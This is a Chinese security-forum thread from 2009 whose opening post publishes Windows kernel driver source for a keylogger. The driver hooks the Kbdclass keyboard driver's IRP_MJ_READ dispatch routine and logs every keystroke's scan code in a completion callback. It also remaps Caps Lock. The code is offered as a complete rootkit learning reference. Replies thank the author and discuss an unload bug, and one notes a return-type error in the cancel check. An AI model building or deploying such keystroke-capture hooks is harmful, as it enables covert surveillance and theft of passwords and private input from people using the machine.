首页
论坛
课程
招聘
[原创]IRP Hook 键盘Logger
2009-9-15 08:04 18767

[原创]IRP Hook 键盘Logger

2009-9-15 08:04
18767
前天拜读combojiang 的rootkit hook 系列之[五] IRP Hook全家福(原帖:http://bbs.pediy.com/showthread.php?t=60022)之后,决定用文中的第三种方法实现一个KeyLogger。但是combojiang前辈并没有放上Demo,而且我在网上貌似也没找着完整的IRP Hook 键盘Logger实例,于是就写了一个,权当是为学习rootkit 的新人提供一份完整的参考代码(当然,我也是驱动新人),大牛请无视。

承achillis 前辈指教,我修改了卸载函数,卸载时把处于Pending状态的那个IRP取消掉,这样不需要再等待一个按键。

本例只替换原键盘驱动中的IRP_MJ_READ分发函数,并在回调函数中简单打印出键盘码。

主要代码如下:

#include <wdm.h>
#include <ntddkbd.h>
#include "IRPKlog.h"

//要获取的设备驱动名
#define KBD_DRIVER_NAME L"\\Driver\\Kbdclass"
//保存原有分发函数指针
PDRIVER_DISPATCH OldDispatchRead;
//保存键盘驱动设备对象
PDRIVER_OBJECT KbdDriverObject;
//未完成的IRP数目,不跟踪的话卸载驱动时会死得很难看
int numPendingIrps = 0;
extern POBJECT_TYPE IoDriverObjectType;
//保存当前pending的IRP 用于卸载时取消
PIRP PendingIrp = NULL;

BOOLEAN
CancelKeyboardIrp(IN PIRP Irp)
{
    if (Irp == NULL)
    {
        DbgPrint( "CancelKeyboardIrp: Irp error\n" );
        return FALSE;
    }
	
    //
    // 这里有些判断不是必须的,不过还是小心点好
    //
    if ( Irp->Cancel || Irp->CancelRoutine == NULL )
    {
        DbgPrint( "Can't Cancel the irp\n" );
        return FALSE;
    }
	
    if ( FALSE == IoCancelIrp( Irp ) )
    {
        DbgPrint( "IoCancelIrp() to failed\n" );
        return FALSE;
    }
	
    //
    // 取消后重设此例程为空
    //
    IoSetCancelRoutine( Irp, NULL );
	return TRUE; 
}

//驱动卸载函数
VOID Unload( IN PDRIVER_OBJECT pDriverObject)
{
	PDEVICE_OBJECT pDeviceObj;
	LARGE_INTEGER	lDelay;
    PRKTHREAD CurrentThread;
	
    //delay some time 
    lDelay = RtlConvertLongToLargeInteger(100 * DELAY_ONE_MILLISECOND);		
    CurrentThread = KeGetCurrentThread();
    // 把当前线程设置为低实时模式,以便让它的运行尽量少影响其他程序。
    KeSetPriorityThread(CurrentThread, LOW_REALTIME_PRIORITY);
	//还原IRP hook
	InterlockedExchangePointer(&KbdDriverObject->MajorFunction[IRP_MJ_READ],OldDispatchRead);
	
	// 如果还有IRP 未完成且当前IRP有效则尝试取消这个 IRP
	pDeviceObj = pDriverObject->DeviceObject;
	if (numPendingIrps > 0 && PendingIrp != NULL)
	{
		if (CancelKeyboardIrp(PendingIrp) == STATUS_CANCELLED)
		{
		     
            DbgPrint( "成功取消IRP\n" );
            goto __End;
		}
	}

	
	DbgPrint("There are %d tagged IRPs\n",numPendingIrps);
	//DbgPrint("等待最后一个按键...\n");
	while (numPendingIrps)
    {
        KeDelayExecutionThread(KernelMode, FALSE, &lDelay);
    }
__End:
	DbgPrint("删除设备……\n");	
	IoDeleteDevice(pDeviceObj);
	DbgPrint("Driver Unload OK!\n");
	return;
}

//MJ_READ 的回调函数
NTSTATUS OnReadCompletion( 
                              IN PDEVICE_OBJECT DeviceObject, 
                              IN PIRP Irp, 
                              IN PVOID Context 
                              )
{
	ULONG buf_len = 0;			
    PUCHAR buf = NULL;
    size_t i,numKeys;
	PKEYBOARD_INPUT_DATA KeyData; 
	PIO_STACK_LOCATION IrpSp = IoGetCurrentIrpStackLocation(Irp);
    //  如果这个请求是成功的。很显然,如果请求失败了,这么获取
    //   进一步的信息是没意义的
	if( NT_SUCCESS( Irp->IoStatus.Status ) ) 
    {
        // 获得读请求完成后输出的缓冲区
        buf = Irp->AssociatedIrp.SystemBuffer;
		KeyData = (PKEYBOARD_INPUT_DATA)buf;
        // 获得这个缓冲区的长度。一般的说返回值有多长都保存在
        // Information中。
        buf_len = Irp->IoStatus.Information;
		numKeys = buf_len / sizeof(KEYBOARD_INPUT_DATA);
        //简单打印扫描码
		for(i=0;i<numKeys;++i)
        {
            //DbgPrint("ctrl2cap: %2x\r\n", buf[i]);
			DbgPrint("\n");
			DbgPrint("numKeys : %d",numKeys);
			DbgPrint("ScanCode: %x ", KeyData->MakeCode ); 
			DbgPrint("%s\n", KeyData->Flags ?"Up" : "Down" );
			print_keystroke((UCHAR)KeyData->MakeCode);

			if( KeyData->MakeCode == CAPS_LOCK) 
			{ 
				KeyData->MakeCode = LCONTROL; 
			} 
        }
    }
	DbgPrint("Entering OnReadCompletion Routine...\n");
	//完成一个IRP
	numPendingIrps--;	
	
	if( Irp->PendingReturned )
	{ 
		IoMarkIrpPending( Irp ); 
	} 
	
	//调用原来的完成函数,如果有的话
    if ((Irp->StackCount > (ULONG)1) && (Context != NULL))
	{
		return ((PIO_COMPLETION_ROUTINE)Context)(DeviceObject, Irp, NULL);
	}
	else
	{
		return Irp->IoStatus.Status;
	}
}

//新的分发函数
NTSTATUS NewDispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp)
{
	
	//DbgPrint("Entering NewDispatchRead Routine...\n");	
	//设置完成函数
	PIO_STACK_LOCATION irpSp;
    irpSp = IoGetCurrentIrpStackLocation(pIrp);
	
	irpSp->Control = 
		SL_INVOKE_ON_SUCCESS|
		SL_INVOKE_ON_ERROR|
		SL_INVOKE_ON_CANCEL;
	
	//irpSp->Control = SL_INVOKE_ON_SUCCESS;
	//保留原来的完成函数,如果有的话
	irpSp->Context = irpSp->CompletionRoutine;
	irpSp->CompletionRoutine = (PIO_COMPLETION_ROUTINE)OnReadCompletion;	
	DbgPrint("已设置回调函数...\n"); 	
	//递增未完成的IRP数目
	numPendingIrps++;	
	if (numPendingIrps > 0)
	{
		PendingIrp = pIrp; 
	}
	return OldDispatchRead(pDeviceObject,pIrp);
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING RegistryPath)
{
	NTSTATUS status = 0; 	
	UNICODE_STRING KbdNameString;
	PDEVICE_OBJECT pDeviceObject;
	
	DbgPrint("IRP Hook Keyboard Logger --DriverEntry\n");
	// 初始化Kdbclass驱动的名字
    RtlInitUnicodeString(&KbdNameString, KBD_DRIVER_NAME); 
	//就这个程序而言,不需要创建设备及链接
	
	status = IoCreateDevice( 
            pDriverObject, 
            0, 			//暂时设为0
            NULL, 		//不用名字先
            FILE_DEVICE_UNKNOWN, 
            0, 
            TRUE, 		//设为TRUE表示驱动独占,多数为FALSE
            &pDeviceObject 
            ); 
	if (!NT_SUCCESS(status))
	{
		DbgPrint("Create device error!\n");
		return status;
	}
	
	//设置驱动卸载函数
	pDriverObject->DriverUnload = Unload;
	//获取驱动设备对象
	status = ObReferenceObjectByName( 
        &KbdNameString, 
        OBJ_CASE_INSENSITIVE, 
        NULL, 
        0, 
        IoDriverObjectType, 
        KernelMode,
        NULL, 
        &KbdDriverObject		//保存得到的设备对象
        ); 
	if (!NT_SUCCESS(status))
	{
		//如果失败
		DbgPrint("Couldn't get the kbd driver object\n");
		return STATUS_UNSUCCESSFUL;
	}
	else
	{
		//解除引用
		ObDereferenceObject(KbdDriverObject);
	}
	OldDispatchRead = KbdDriverObject->MajorFunction[IRP_MJ_READ];
	//原子交换操作 
	InterlockedExchangePointer(&KbdDriverObject->MajorFunction[IRP_MJ_READ],NewDispatchRead);
	return status; 
}


完整代码见附件,XP SP2下编译通过

2021 KCTF 秋季赛 防守篇-征题倒计时(11月14日截止)!

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (20)
雪    币: 257
活跃值: 活跃值 (13)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
swordkok 活跃值 1 2009-9-15 08:44
2
0
好东西,学习下irp以及驱动
雪    币: 314
活跃值: 活跃值 (11)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
comeon 活跃值 2009-9-15 09:00
3
0
沙发被抢了。。。占座学习之。
雪    币: 1356
活跃值: 活跃值 (363)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
仙果 活跃值 19 2009-9-15 09:26
4
0
好东西,谢谢共享!
雪    币: 7506
活跃值: 活跃值 (298)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
achillis 活跃值 15 2009-9-15 09:39
5
0
你这个卸载时还得等待按键吧?这个问题没有解决?
雪    币: 7506
活跃值: 活跃值 (298)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
achillis 活跃值 15 2009-9-15 09:40
6
0
还是先支持一下楼主,这个源码其实网上有
雪    币: 64
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
doking 活跃值 2009-9-15 11:05
7
0
这个估计是最简单的了,呵呵
雪    币: 215
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
eepo 活跃值 2009-9-15 12:02
8
0
请问,为什么还要等待最后一个按键?
雪    币: 7506
活跃值: 活跃值 (298)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
achillis 活跃值 15 2009-9-15 12:24
9
0
因为有个IRP没有完成,还在Pending呢,如果不等待直接卸载,当这个IRP完成时会执行CompleteRoutine,而这个地址所在的驱动已经卸载了,系统就会BSOD~解决方法是设置CancelRoutine,这样卸载时IoCancelIrp就可以了,无须等待
雪    币: 299
活跃值: 活跃值 (48)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
cogito 活跃值 2009-9-16 07:10
10
0
谢谢achillis 前辈指点 不过我这个代码没有attach到具体的键盘设备上去,卸载的时候貌似取不到CurrentIrp,所以如何得到当前IRP,请前辈详述之
雪    币: 7506
活跃值: 活跃值 (298)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
achillis 活跃值 15 2009-9-16 10:24
11
0
因为实际上这里只会有一个Irp处于Pending状态,当一个新的Irp到来时上一个已经完成了,所以你可以使用一个全局变量在FakeDispatchRead中把经过的IRP记录下来,那么下一次按键前,这个Irp必然就是那个pending的Irp,卸载时取消的也是这个Irp
雪    币: 193
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
cham 活跃值 2009-10-14 21:54
12
0
不太明白为什么会在unload的调用KeSetPriorityThread:
// 把当前线程设置为低实时模式,以便让它的运行尽量少影响其他程序。
KeSetPriorityThread(CurrentThread, LOW_REALTIME_PRIORITY);
雪    币: 201
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
fxjtv 活跃值 2009-10-15 17:27
13
0
学习一下。。。。
雪    币: 240
活跃值: 活跃值 (10)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
三根火柴 活跃值 4 2009-10-16 09:04
14
0
支持一个,我也刚接触驱动,正好参考一下
雪    币: 235
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ntKnight 活跃值 2009-10-20 08:43
15
0
我是来感谢 achillis
雪    币: 201
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
raptor 活跃值 2009-10-20 15:54
16
0
if (CancelKeyboardIrp(PendingIrp) == STATUS_CANCELLED)
这个函数不是返回BOOLEAN吗,LZ改一下
雪    币: 201
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
raptor 活跃值 2009-10-20 16:34
17
0
另外请教一下,这里为什么不用公开的API  IoGetDeviceObjectPointer 获取?
雪    币: 351
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
x敏m 活跃值 2009-10-22 15:23
18
0
好像寒江的。。。
不过,还是支持一下。。。
雪    币: 167
活跃值: 活跃值 (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
shichangll 活跃值 2009-10-23 08:16
19
0
很好的键盘记录
雪    币: 292
活跃值: 活跃值 (10)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
dplayer 活跃值 1 2009-10-27 13:00
20
0
代码还不错噶..学习下..
雪    币: 23
活跃值: 活跃值 (757)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
riusksk 活跃值 41 2009-10-27 13:10
21
0
support!
游客
登录 | 注册 方可回帖
返回